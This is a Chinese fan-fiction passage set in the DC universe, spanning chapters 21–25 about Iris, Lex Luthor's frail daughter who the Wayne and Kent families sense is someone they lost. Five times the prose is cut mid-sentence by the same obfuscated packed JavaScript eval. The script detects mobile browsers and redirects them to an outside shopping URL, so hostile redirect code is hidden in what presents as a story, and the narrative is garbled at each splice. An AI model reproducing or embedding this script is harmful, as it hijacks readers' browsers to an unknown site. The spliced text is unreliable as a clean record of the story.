但那双绿眼睛让她想起什么——很轻,很远,像隔着一层雾。 ——— 宴会结束的时候,艾瑞斯跟着卢瑟往外走。 经过门口的时候,她感觉那道视线又落下来。 她没有回头。 但她知道,那个绿眼睛的男孩还在看她。 ——— 车驶离莱克斯大厦,驶入大都会的夜色。 艾瑞斯靠在座椅上,看着窗外流过的灯光。 “累吗?”卢瑟问。 “还好。” 卢瑟点点头。 沉默了一会儿。 “那个韦恩家的孩子,”他忽然开口,“一直在看你。” 艾瑞斯没有说话。 “你认识他?” “不认识。” 卢瑟看了她一眼。 “没关系,或许有机会你们可以认识。”他说,“可以尽量和他保持友好关系。” 艾瑞斯想了想。 “嗯。” 卢瑟没有说话。 但艾瑞斯能感觉到,他在想什么。 ——— 与此同时,莱克斯大厦外。 达米安·韦恩站在门口,看着那辆车消失在夜色里。 他不知道自己为什么一直在看那个女孩。 那双蓝色的眼睛,那个安静的表情,那种站在人群里却像是站在别处的感觉。 他见过。 他确定自己见过。 只是那个人已经不在了。 ——— “达米安。” 他转过头。迪克走过来,脸上带着那种“你又一个人发呆”的表情。 “走了。” 达米安点点头,跟着他往外走。 走了两步,他停下来。 又回头看了一眼。 大厦灯火通明。 那个女孩也已经不在了。 21.艾瑞斯·卢瑟4 康纳回到公寓的时候,已经很晚了。 他推开门,屋里黑着灯。但他知道有人在。 “克拉克。” 灯亮了。 超人站在窗边,穿着便服,眼镜已经摘了。他看着康纳,目光平静。 “酒会怎么样?” 康纳没有说话。 他走过去,在沙发上坐下,低着头,盯着自己的手。 克拉克等了一会儿。 “康纳?” “……有一个女孩。” 克拉克走过来,在他旁边坐下。 “什么女孩?” 康纳沉默了很久。 “卢瑟带来的。”他说,“他说那是他女儿。艾瑞斯·卢瑟。” 克拉克的眉头微微动了一下。莱克斯·卢瑟有一个女儿?他从未听说过。 “然后呢?” 康纳抬起头。 那双蓝色的眼睛里有一种克拉克从未见过的东西——迷茫,困惑,还有某种说不清的、很深的情緒。 “我认识她。”康纳说,“我觉得我认识她。” 克拉克看着他。 “你以前见过她?” “没有。”康纳摇头,“从来没有,她看着是一个很普通的女孩。但是……” 他停住了。 他不知道怎么形容那种感觉。 那双蓝色的眼睛。那个安静的表情。那个站在旋转楼梯上,像是和周围一切隔着一层雾的样子。 他见过。 他确定自己见过。 “她看着我的时候,”康纳说,“我觉得……她好像认识我。” 克拉克沉默了一会儿。 “也许是错觉。”他轻声说。 康纳没有回答。 但他知道不是错觉。 那不是。 ——— 克拉克看着他,心里有什么东西微微动了一下。 莱克斯·卢瑟的女儿。 他从未听说过这个女孩。如果她真的存在,为什么卢瑟从未提起?为什么要到现在才公开? 还有康纳的反应—— 那种熟悉感,是从哪里来的? 他不知道。 但他有一种奇怪的感觉。像是什么事情,正在悄悄发生。 ——— 与此同时,哥谭。 夜很深了。 蝙蝠车停在韦恩大宅的地下车库里,布鲁斯从车上下来,摘掉头罩。今晚的巡逻很平静,平静得不像是哥谭的夜晚。 他走进去,发现客厅的灯还亮着。 达米安坐在沙发上。 他穿着便服,没有换睡衣。面前的茶几上放着一杯水,一口没动。 布鲁斯走过去。 “怎么还没睡?” 达米安没有回答。 布鲁斯在他旁边坐下,看着他。 达米安的表情很怪。不是愤怒,不是不耐烦,而是某种布鲁斯从未见过的东西。 沉默了很久。 “我今天在大都会,”达米安开口了,“看到一个女孩。” 布鲁斯等着他继续说。 “卢瑟的女儿。”达米安说,“艾瑞斯·卢瑟。” 布鲁斯的眉心跳了一下。 莱克斯·卢瑟的女儿? “然后?” 达米安转过头,看着他。 那双绿眼睛里有一种很深的东西,像潮水一样涌上来,又退下去。 “我想去看看。”他说。 “看什么?” 达米安没有回答。 他站起来,往外走。 ——— 达米安穿过城市,走过花园,一直走到那片安静的角落。 月光很淡,落在那些墓碑上。 他在一座墓碑前停下来。 那座墓碑很小。很小。 上面刻着一个名字。 艾瑞斯·韦恩 我们的鸢尾花 布鲁斯站在他身后,看着那座墓碑。 或者说,他感觉到了什么。 ——— 达米安蹲下来,伸出手,碰了碰墓碑上的字。 很凉。 大理石很凉。 “她们好像。”他低声说。 布鲁斯没有说话。 “那个女孩,”达米安说,“会不会是艾瑞斯?” 他站起来,转过身,看着布鲁斯。 那双绿眼睛里有什么东西在燃烧。 “可是她们的年龄外貌都对不上。”他说,“艾瑞斯还躺在这里,没有人会复活她。” 布鲁斯看着自己的儿子。 达米安很少这样说话。很少这样笃定。很少这样……失控。 “达米安…” 达米安沉默了一下。 “我不会干什么的。”他说,“艾瑞斯的生日快到了,别忘了。” 他顿了顿。 ——— 风吹过墓地,很轻,很凉。 达米安又看了一眼那座墓碑。 很小的一座。刻着一个他以为自己不记得的名字。 但他记得那双眼睛。 蓝的。晴天的海。 今晚,他在另一个女孩脸上,看到了同样的蓝色。 ——— 他转身离开。 布鲁斯站在原地,看着那座墓碑。 他不知道达米安感觉到了什么。 但他知道,有什么事,正在发生。 而蝙蝠侠不会放过任何一个疑点。新生活·脆弱 --- 艾瑞斯总觉得自己的身体轻飘飘的。 也许是因为病弱的缘故。医生说她的基因有缺陷,从出生起就这样。培养舱维持了她的生命,但也只是维持。她活下来了,却没能活成一个健康的孩子。 这副身体如同精美的玻璃盏。 只需要轻轻一碰,就会如雪花般散落。 ——— 幸运的是,卢瑟一直在治疗她。 非常富有的人,用非常富有的方式。最好的医生,最好的设备,最 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291333|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好的药物。每天都有穿着白大褂的人来来去去,抽血、检查、调整方案。 但显然,她的病是治不好的。 至少这些医生治不好。 ——— 除非。 除非找她的另一位爸爸。 卢瑟不知道这个念头从哪里来的。它只是偶尔浮上来,像水底的泡泡,冒出来,破了,消失了。卢瑟看着面前的艾瑞斯她盯着镜子里的自己,那双蓝色的眼睛,那个安静的轮廓。 她只有他一位父亲。 ——— 卢瑟一直在扮演好“爸爸”的身份。 也许是因为前车之鉴。也许是因为别的什么。艾瑞斯不知道,也不想去了解。她只知道,他会在晚上来看她,会摸她的头,会问她今天怎么样。他会坐在她床边,说一些公司的事,说一些大都会的事,偶尔也会说一些过去的事。 她听着。 他总是说很多。 她总是听。 ——— 卢瑟喜欢艾瑞斯的乖巧。 喜欢她倾听的性格。喜欢她坐在那里,安安静静的,眼睛看着他,像是在认真听每一个字。他说话的时候,她从不打断。他说完的时候,她会点点头,或者说一句“嗯”。 就这么简单。 但在艾瑞斯面前,卢瑟总是主动的那一方。 一切似乎都是艾瑞斯在陪伴他。 仿佛她才是大人。 而他是小孩。 ——— 这种温情而怪异的氛围,总是让卢瑟不解。 他坐在她床边,说着说着,忽然停下来。看着她。那双蓝色的眼睛也看着他,静静的,柔柔的。 “怎么了?”她问。 “没什么。” 他又开始说。 但他心里在想,为什么和她在一起的时候,那些关于超人的念头,会变少? 那个氪星人。那个外星人。那个他花了半辈子想要证明有罪的家伙。 他想起他的时候少了。 ——— 不。 他需要想起他。 他需要更多关于氪星人的研究。 他的女儿以后会长大,会成长与他一般聪明。但她身子太弱了。他需要保护她。需要让她活下去。需要——她来对付超人… 那双眼睛还在看着他。 蓝色的。柔和的。 “爸爸?”艾瑞斯问。 “嗯。” “你累了?” 卢瑟愣了一下。 “……没有。” 艾瑞斯没有说话。她只是往他身边挪了挪,挨着他。 很小的一团。暖暖的。软软的。 卢瑟低头看着她。 他想,如果她真的能长大,会是什么样子? 如果她能活下来。 如果他能让她活下来。 … 艾瑞斯是一个秘密武器,卢瑟是这么认为的。 如果一个男人坚韧无比,那上天就赐予他一个羊羔般柔弱的孩子。 22.艾瑞斯·韦恩 IF线·十年 艾瑞斯觉得自己已经昏过去很久了。 像睡了一场不安稳的觉。梦里有很多影子,有很多声音,有很多她看不清的脸。有人在说话,有人在哭,有人在叫她的名字。她想应,但张不开嘴。 然后她醒了。 ——— 阳光落在脸上,有点刺眼。 她眨了眨眼睛,慢慢适应那片光。 白色的天花板。白色的灯。白色的窗帘在风里轻轻飘着。四周是病房的摆设,消毒水的味道淡淡的,混着窗外不知道什么花的香气。 她低下头。 头发很长了。长到手肘那么长。浅灰黑色的,散在枕头上,像一片乱糟糟的海藻。 这不是她的头发。 ——— 最先出现的是护士。 穿白衣服的人跑进来,看了看她的眼睛,量了量她的体温,然后跑出去。接着是医生,更多穿白衣服的人,围在她床边,说着她听不懂的话。 然后那群大人里走进来一个最活泼的。 他戴着眼镜,笑容很亮,像是怕吓到她似的,走得很慢。他蹲在她床边,让自己和她一样高。 “嗨。”他说,“我叫克拉克是你爸爸委托我来照顾你的,他很快就会来。你感觉怎么样?” 艾瑞斯看着他。 那双蓝色的眼睛很温和,很亮。但不是她熟悉的蓝。 她熟悉的蓝是另一种。 更深的。更沉的。像哥谭的夜。 ——— 她张了张嘴。 嗓子很干,发不出声音。 克拉克递过来一杯水,慢慢的,扶着她的后背让她坐起来。她小口小口地喝,水是温的。 然后更多的人走进来。 一群大人。 他们站在门口,站在床边,站在她看得见却够不着的地方。每个人的表情都很复杂——复杂到她看不懂。 她只能看出来一点。 他们在看她。 像看什么珍贵又脆弱的东西。 ——— “你们……”艾瑞斯开口,声音沙沙的,“是谁?” ——— 房间里安静了几秒。 那个戴眼镜的、叫克拉克的人转过头,看向身后。那群大人里,有一个往前迈了一步。 黑色的头发。蓝色的眼睛。脸上有很多她看不懂的情绪。 艾瑞斯看着他。 那个人也看着她。 很久。很久。 然后他开口了,声音很低,像是怕惊动什么。 “我是布鲁斯。”他说,“布鲁斯·韦恩。你……还记得吗?” 艾瑞斯看着他。 那双蓝色的眼睛。 和她记忆里的不一样。 她记忆里也有一个蓝色的眼睛。但那是另一个——是谁?她想不起来了。 她低下头,看着自己的手。 小小的。白的。手背上扎着针,连着管子。 她不记得。 ——— 十年。 这个数字究竟算多,还是算少? 艾瑞斯不知道。 她看了很多报纸。每一张都有很多她不认识的字。那些字像小虫子,爬来爬去,不肯告诉她发生了什么。 但她从护士的聊天里,从医生的只言片语里,从那些大人偶尔泄露的表情里,拼凑出一些事。 她躺了十年。 十年里,哥谭不太平。小丑闹了很多次。蝙蝠侠一直在追他。 十年里,她时不时被转院。先是从哥谭的一个地方到哥谭的另一个地方,最后从哥谭到大都会据说是因为哥谭的医院不太安全,据说是因为大都会有更好的设备。 她像一个包裹,被寄来寄去。 但她不知道。 她一直睡着。 ——— 那群大人后来又来了很多次。 戴眼镜的克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292203|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉克来得最多。他会给她带书,带杂志,带那些字少一点的、她看得懂的画册。他说话的时候总是笑着,像是怕她无聊。 那个叫布鲁斯的也来。 他来得少一些。来了也不怎么说话。就坐在旁边的椅子上,看着她。有时候看很久,然后站起来,摸摸她的头,走了。 还有别的。 一个叫迪克的,话很多,笑着笑着眼睛就红了。一个叫杰森的,站在门口不进来,但每次都来。一个叫提姆的,会给她带报纸,说“你想看什么我帮你念”。一个叫达米安的,最年轻,站在最远的地方,一句话不说,但每次都来。 还有阿福。 一个很老的爷爷,穿着西装,叫她“小姐”。他的眼睛也红,但他的笑很稳。 “欢迎回来,小姐。”他说。 艾瑞斯看着他。 她不知道自己该说什么。 ——— 她感到无措。 这些人,这些脸,这些她应该认识却想不起来的人。他们看她的眼神太复杂了,复杂到她害怕。 她怕自己辜负了那种眼神。 她怕自己应该记得,却记不得。 ——— 有一天,达米安单独来了。 他站在门口,没有进来。艾瑞斯坐在床上,看着他。 很久。 “你真不记得?”他问。 艾瑞斯摇摇头。 达米安沉默了一会儿。 “也好。”他说。 然后他转身走了。 艾瑞斯看着那个背影消失在门口。不知道为什么,她觉得那个背影很熟悉。 ——— 她想叫住他。 但张了张嘴,没发出声音。 ——— 窗外,大都会的阳光很好。 但艾瑞斯有时候会想起另一个地方。灰蒙蒙的天,湿漉漉的风,总是会想起一双蓝色的眼睛。 那是谁的? 23.艾瑞斯·卢瑟5 卢瑟为艾瑞斯选择了一所私立学校。 大都会最好的。学费昂贵,校规严格,出入需要登记。校园里有草坪,有喷泉,有爬满常青藤的老教学楼。学生们穿着整齐的制服,背着书包,三三两两地走过走廊。 艾瑞斯站在校长办公室里,透过玻璃窗看着那些人。 “艾瑞斯。” 她转过头。 卢瑟蹲下来,和她平视。 “感觉怎么样?” 艾瑞斯想了想。 “人多。” 卢瑟笑了一下。很轻,很快,但确实是笑。 “你会习惯的。”他说,“如果需要什么,随时给我打电话。如果有什么事,告诉老师。如果——” “爸爸。” 卢瑟停下来。 艾瑞斯看着他。 “我会好好的。” 卢瑟沉默了一秒。 然后他伸出手,摸了摸她的头。 ——— 他不可能总是在她身边。 这一点他们都知道。 艾瑞斯需要更多的曝光。需要被看见,被记住,被认可为“莱克斯·卢瑟的女儿”。这是她身份的证明,也是她安全的保障。 但同时,他又极其小心翼翼。 选这所学校,因为这里安全。安排专人接送,因为路上可能有危险。反复叮嘱她不要和陌生人走,因为—— 因为什么? 艾瑞斯没有问。 但她知道,他在试图让谁注意到她。 又试图不让谁注意到她。 ——— 开学第三天,艾瑞斯遇到了康纳。 她正在走廊里站着,研究墙上那张怎么看也看不懂的课程表。旁边有人经过,脚步声近了,又远了,又近了。 “需要帮忙吗?” 艾瑞斯转过头。 深色的头发。蓝色的眼睛。那张脸她见过——上次的酒会上,他站在人群里,低着头,没有再看她。 康纳。 ——— 康纳也愣了一下。 他认出她了。 那个在酒会上站在卢瑟旁边的女孩,那个穿着毛茸茸裙子像小羊羔的女孩,那个让他连着做了好几个晚上梦的女孩。 “你是……”他开口,又停住。 艾瑞斯点点头。 “艾瑞斯。” “我知道。”康纳说,“我是康纳。学校安排我做志愿者,带新生参观。” 他顿了顿。 “正好分到你。” ——— 走廊很安静。大部分学生已经去上课了,只剩下他们两个。 康纳走在前面,艾瑞斯跟在后面,隔着两步的距离。 康纳往前走。 走了一会儿,他忽然停下来。 “你累吗?”他问。 艾瑞斯愣了一下。 “什么?” “你走得很慢。”康纳说,“是不是累了?那边有长椅,可以坐一会儿。” 艾瑞斯看着他。 那双蓝色的眼睛里有什么东西——不是同情,不是怜悯,而是别的。 像是知道什么。 ——— 他们在长椅上坐下。 阳光从窗户照进来,落在地板上,很暖。 沉默了一会儿。 “你不爱说话?”康纳问。 “还好。” “哦。” 又沉默。 艾瑞斯转过头,看着他。 他的表情有点怪。不是不开心,而是……空空的。像是什么东西被抽走了,留下一个壳。 “你不开心?”艾瑞斯问。 康纳愣了一下。 “没有。” 艾瑞斯没说话。 康纳低下头,看着自己的手。 那双手和普通人的手不一样。更有力,更稳定,可以做很多普通人做不到的事。但此刻它们只是交叠着放在膝盖上,一动不动。 “我只是……”他开口,又停住。 艾瑞斯等着。 康纳沉默了很久。 “没什么。”他说。 ——— 艾瑞斯没有追问。 她只是坐在那里,和他一起看阳光。 过了一会儿。 “你知道吗,”康纳忽然说,“我有时候觉得自己太多了。” 艾瑞斯看着他。 “或许你也是。”康纳说,“你似乎带着淡淡的悲伤。” 他没说完。 艾瑞斯听着,却感到诧异。 悲伤吗?艾瑞斯从未想过,她的父亲总是觉得她是带着病弱的凄?。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296154|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 艾瑞斯总是会皱起眉头,并非不舒服。而是觉得孤独与渴望,似乎她等着谁。 康纳转过头。 “啊,真是奇怪的感觉”艾瑞斯说,“走不快,跑不了,做什么都要小心。或许是这个。” 少女扬起一个笑容像是夕阳下的向日葵颓靡而放肆。 康纳看着她。 那双蓝色的眼睛很平静,表情变得温和下来如同往日。 “谢谢你,康纳。”艾瑞斯说。 康纳沉默了一会儿。 “不客气…” 艾瑞斯想了想。 “有时候。”她说,“好像确实想多了…” ——— 阳光继续落下来。 他们又坐了一会儿,然后站起来,继续参观。 这一次,康纳走慢了一点。 ——— 与此同时,在另一个地方。 克拉克·肯特站在校园外的街道上,手里拿着一份报纸,像是普通的行人在看新闻。但那双眼睛,透过镜片,正看着校园里的某个方向。 康纳今天状态不太好。他知道,或者说康纳的状态一直不好。他拒绝与他的亲密接触,抵触着整个家。 他总是会来看看。 目光穿过操场,穿过教学楼,穿过走廊的窗户—— 他看到了康纳。 康纳旁边还站着一个人。 小小的。瘦瘦的。红色的头发,蓝色的眼睛。穿着学校的制服,站在康纳旁边,正仰着头听他说什么。 克拉克的视线停了一秒。 那孩子看起来身体不太好。脸色有些苍白,站姿有点单薄,像是风吹一下就会倒。 康纳的朋友? 他不知道康纳有这样一个朋友。 他正要细看,那孩子转过身,走进了教室。 只留下一个背影。 ——— 克拉克站在原地,看着那个方向。 不知道为什么,那个背影让他觉得有点奇怪。 说不上来哪里奇怪。 就是……有一点。 他摇摇头,把那种感觉甩开。 也许是错觉。 ——— 他转身离开,没有再看。 但那个红色的背影,那双蓝色的眼睛,在他脑子里多停留了一秒。 24.艾瑞斯·韦恩2 复健比艾瑞斯想象的要慢。 慢很多。 每天醒来,先是检查。抽血、量血压、各种仪器贴在身上,嗡嗡地响。然后是复健。扶着栏杆走,一步一步,腿像不是自己的。走几步就喘,就出汗,就得坐下歇很久。 医生说,躺了十年,肌肉萎缩得太厉害了。能醒过来已经是奇迹,恢复需要时间。 三个月。 整整三个月,她都在医院里。 每天都是一样的白墙,一样的消毒水味道,一样的“再走五步”和“今天比昨天好”。 三个月后,她终于能不扶东西站住了。 ——— 第四个月,艾瑞斯住进了克拉克叔叔家。 是布鲁斯的决定。 也许他还想过将人送去别的远远的、却又安全的地方。但最后,她来到了这里。 堪萨斯的农场。 玉米地,红色的谷仓,一眼望不到边的天。和哥谭完全不一样,和大都会也不一样。这里很安静,安静得能听到风吹过玉米叶的声音。 克拉克一家都很热情。 玛莎奶奶会做苹果派。刚出炉的,热乎乎的,甜甜的。她总是端过来,看着艾瑞斯吃,眼睛笑眯眯的。 “多吃点,孩子。你太瘦了。” 艾瑞斯就慢慢吃。 派很香。 ——— 家里还有两个小伙子。 一个是克拉克叔叔的儿子,叫乔,和艾瑞斯差不多大。他有时候会带她去农场里转,指给她看哪块地种了什么,哪只牛叫什么名字。 另一个是康纳。 她记得名字了。他总是很忙,不太在家。 克拉克叔叔的妻子也很温柔。她话不多,但会在艾瑞斯复健累的时候递一杯水,会在她发呆的时候坐在旁边陪她。 ——— 但艾瑞斯经常见到的是另一个人。 杰森。 他不知道什么时候来的,也不知道什么时候走的。但每次来,都会出现在她附近。 站在门口。站在院子里。站在她复健的那条小路尽头。 艾瑞斯知道他在看她。 那种目光很轻,像是怕惊动什么。 ——— 杰森总是想说什么。 艾瑞斯看得出来。他站在那儿,嘴唇动了动,又闭上。手抬起来,又放下。好几次,她都以为他要开口了,但他只是看着她,然后转身走开。 她失去了记忆。 那些关于过去的事,关于她是谁,关于这些人是谁,她都不记得了。 但她记得一些感觉。 温情的。暖的。安全的。 就像现在,杰森站在不远处,她看到他,心里就有一种很轻的、说不清的安稳。 ——— 有一天,艾瑞斯在镇子上看到一个小摊。 热狗。 她站在那里,看了很久。 摊主问她想不想要,她摇摇头,继续看。 不是想吃。 是想起什么。 有一个人,好像也爱吃这个。那个人站在某个街角,手里拿着热狗,一边吃一边看她,笑得很…… 她记不清了。 但那种感觉还在。 ——— 那天下午,杰森又来了。 站在院子里,看着她在门廊上晒太阳。 艾瑞斯站起来。 走得很慢,一步一步,扶着墙。杰森看到了,往前迈了一步,又停住。 艾瑞斯走到他面前,抬起头。 “杰森。” 他愣了一下。 那是她第一次叫他的名字。以前都是他看着,她安静。现在她叫他了。 “你饿不饿?”艾瑞斯问。 杰森张了张嘴。 “镇上有个卖热狗的。”艾瑞斯说,“我请客。” ——— 艾瑞斯坐上杰森的摩托,从背后环住他的腰。 杰森不太习惯这个动作一开始略有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296629|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抵触僵着身子。 路过玉米地的时候,风把叶子吹得沙沙响。路过谷仓的时候,有只猫蹲在门口晒太阳,看了他们一眼,又闭上眼睛。 走到镇上的时候,热狗摊还在。 艾瑞斯买了两份。 一份给杰森,一份自己拿着。 他们坐在路边的长椅上,一起吃。 ——— 杰森咬了一口。 没有说话。 艾瑞斯也咬了一口。 嚼着嚼着,她忽然想起什么。 很模糊。像隔着一层雾。 艾瑞斯转过头,看着杰森。 杰森也看着她。 “怎么了?”他问。 艾瑞斯想了想。 “没什么。”她说。 但她又看了他一眼。 那双眼睛。她好像见过很多次。在不同的地方,不同的光线下,用不同的表情看着她。 都是同一个人。 ——— 他们吃完热狗,慢慢往回走。 走到院子门口的时候,杰森停下来。 “艾瑞斯。” 她转过头。 杰森站在那里,低着头,不知道在看什么。 沉默了很久。 “你…过得开心吗?”他开口,又停住。 “嗯。”女孩轻轻的回答像是他的一场梦。 杰森深吸一口气。 “再见。”他说,“艾瑞斯,我还会来看你的。” 艾瑞斯看着他。 杰森骑着摩托打算离开。 ——— 艾瑞斯站在院子里,看着他的背影将消失在路尽头。 风把玉米叶吹得沙沙响。 她不知道他要说什么。 但她知道,他明天还会来。 “再见,哥哥…” 纵使没有记忆那又如何了,布鲁斯,迪克,杰森他们都不知道艾瑞斯的关注着他们,从电视,从报纸,从那些期刊中。 25.艾瑞斯·卢瑟6 莱克斯·卢瑟很看重他的女儿。 只要有宴会,艾瑞斯就在他身旁。她站在他侧后方半步的位置,穿着最厚的衣服,裹得像一只误入冬季的小动物。那些精心设计的礼服早就被替换成了保暖的定制服装,面料厚实,剪裁得体,但在珠光宝气的宴会厅里依然显得格格不入。 媒体们拍下这些照片。 有的报纸说,卢瑟是个好父亲。无论走到哪里都带着生病的女儿,细心呵护,无微不至。照片里的卢瑟微微侧身,像是在确认女儿是否安好。 有的报纸则说,这是作秀。为了竞选,为了形象,为了转移公众对他那些争议项目的注意力。一个病弱的女儿是最好的道具,能软化最尖锐的批评。 艾瑞斯看过那些报道。 她不生气。 她只是觉得,那些写报道的人,大概从来没有真正见过她的父亲。 ——— 她的生活被切割成几块。 在学校里,她只是挂了个名号。偶尔去几天,坐在教室里听那些她已经从书上看过的知识。同学们对她很客气,客气得像对待一件易碎品。她不在乎。 真正自由的时间,是在手机屏幕上。 康纳总是出现在不同的地方。今天这个城市,明天那个小镇,后天不知道又去了哪里。他的短信像漂泊者的日记,有时很长,有时只有几个字。 他说他喜欢某个地方的日落。说那里的云很低,压在天边,像要掉下来。 他说他讨厌另一个地方的雨。说雨里的味道让他想起什么,但他想不起来。 有时候他的文字里带着疲惫。很轻的疲惫,藏在那些描述风景的句子后面。但艾瑞斯看得出来。 她会回一些话。说今天天气很好,阳光暖洋洋的。说玛莎奶奶又做了苹果派,她吃了两块。说院子里来了一只流浪猫,蹲在门口不肯走。 没什么意义的话。 但康纳会回。 他说,谢谢你。 ——— 正常人的日子没过几天。 疾病连同并发症一起找了上来。 咳嗽。没完没了的咳嗽。有时候咳得停不下来,像是要把肺咳出来。医生们围着她,调整方案,换药,加设备。她躺在那里,看着天花板,等咳嗽过去。 宴会还是要参加的。 卢瑟没有因此取消任何一场。他只是让人把她的衣服做得更厚,厚到几乎臃肿。她站在他身边,裹成一个小团,偶尔咳嗽几声,很快压下去。 没有人说什么。 但那些目光,艾瑞斯感觉得到。 ——— 是从大都会那里知道的。 那些“兄弟姐妹”的计划,又被卢瑟开启了。 大都会常常在她耳边感慨。说卢瑟这几年变了很多,不那么偏激了,不那么执着于那个氪星人了。说也许是因为有了女儿,也许是因为终于有什么东西比仇恨更重要。 但现在想来,大都会说,话说早了。 艾瑞斯听着,没有说话。 ——— 近几次的宴会上,她注意到一个人。 记者。戴着眼镜,笑容温和,拿着笔记本在人群里穿梭。他看起来很普通,普通到不会引起任何注意。 但艾瑞斯总是看着他。 不知道为什么。目光会自己飘过去,落在他身上,收不回来。 有一次,她看着他的时候,大都会的声音响起来。 他是超人。你的另一个父亲。 命运就是这样。 血脉就是这样。 还没有见过面,我就认出了你。 艾瑞斯愣住了。 她看着那个人。看着他笑着和什么人交谈,看着他低头在笔记本上写什么,看着他抬起头,目光不经意地扫过她这边—— 停了一秒。 只是一秒。 然后他移开了。 ——— 艾瑞斯的心情并不复杂。 不是不难过,不是不震动。而是那些情绪太多太密,反而理不清了。她站在那里,裹着厚厚的衣服,看着那个应该是她父亲的人,心里一片迷茫。 然后迷茫散了。 变成恍然大悟。 原来如此。 原来是这样。 ——— 她的父亲,莱克斯·卢瑟,仍然挂念着超人。 一个人的执念是难以改变的。更何况那是个天才。他花了半辈子去恨一个人,怎么可能因为一个女儿就放下。那些温和的、像是变了一个人的日子,只是表象。 底下那个偏执的、疯狂的、誓要证明超人是有罪的莱克斯·卢瑟,一直都在。 他只是在等。 等她再长大一点,再稳定一点,再—— 艾瑞斯不知道自己在那个计划里是什么角色。 工具?棋子?还是一个用来掩人耳目的幌子? 她不知道。 但她明白一点:卢瑟利用她的时间,是紧迫的。 ——— 奇怪的是,她并不难过。 也不愤怒。也不怨恨。 她只是安静地接受这件事,像是接受天气会变冷、花会凋谢一样自然。 也许是因为她见过太多。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301017|197845||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也许是因为她本就不是普通的孩子。也许是因为——她是天使。 ——— 孩子总是会无条件地爱上他们的父母。 这是天性。不需要理由,不需要条件。从睁开眼睛的那一刻起,那个抱着他们的人,就是全世界。 而有些父母,还没有准备好如何去爱。 他们想要孩子,想要那种无条件的爱,想要有人叫他们爸爸、妈妈。但当孩子真的来了,用那双干净的眼睛看着他们的时候,他们才发现,自己不知道该怎么办。而那些缺爱的孩子会变得歇斯底里去争取那份来自父母的爱。 爱是天生的。 但爱也是漫长的。 ——— 艾瑞斯想起那些在天使之间流传的话。 有些天使会被赐予那些值得被爱的人。那些天使被称为礼物。 那就是为什么,人类常常会对着他们的孩子说——你是我的礼物。 她曾经不太明白这句话。 现在好像才明白了一点。 所以她无条件的爱着她的父亲纵使他没有做好准备,这一份礼物是大都会送给卢瑟的。 ——— 宴会还在继续。 灯光辉煌,人声嘈杂。艾瑞斯站在卢瑟身旁,裹着厚厚的衣服,偶尔咳嗽一声,很快压下去。 那个戴眼镜的记者已经不知道去了哪里。 卢瑟在和什么人交谈,笑容得体,手势优雅。 艾瑞斯看着他的侧脸。 那张脸,她看了很多次。在培养舱外,在病床边,在每一个需要他的时候。他看着她的时候,眼睛里有东西——是真的,不是假的。 但他也有别的眼睛。 看着超人的时候,是不一样的。 ——— 艾瑞斯低下头。 她想起康纳的短信。想起那些漂泊的、疲惫的字句。想起他说,谢谢你。 想起大都会的声音:还没有见过面,你就认出了他。 想起那个戴眼镜的记者,目光在她身上停了一秒。 一秒钟。 对一个超人来说,一秒钟可以看清很多东西。但或许这次他的眼镜遮住了艾瑞斯。 ——— 她轻轻呼出一口气。 热气在空气里散开,很快看不见了。 她知道前面是什么。知道卢瑟在做什么。知道自己可能是什么。 她没有的想法。 她只是站在这里,站在他身边,裹着厚厚的衣服。 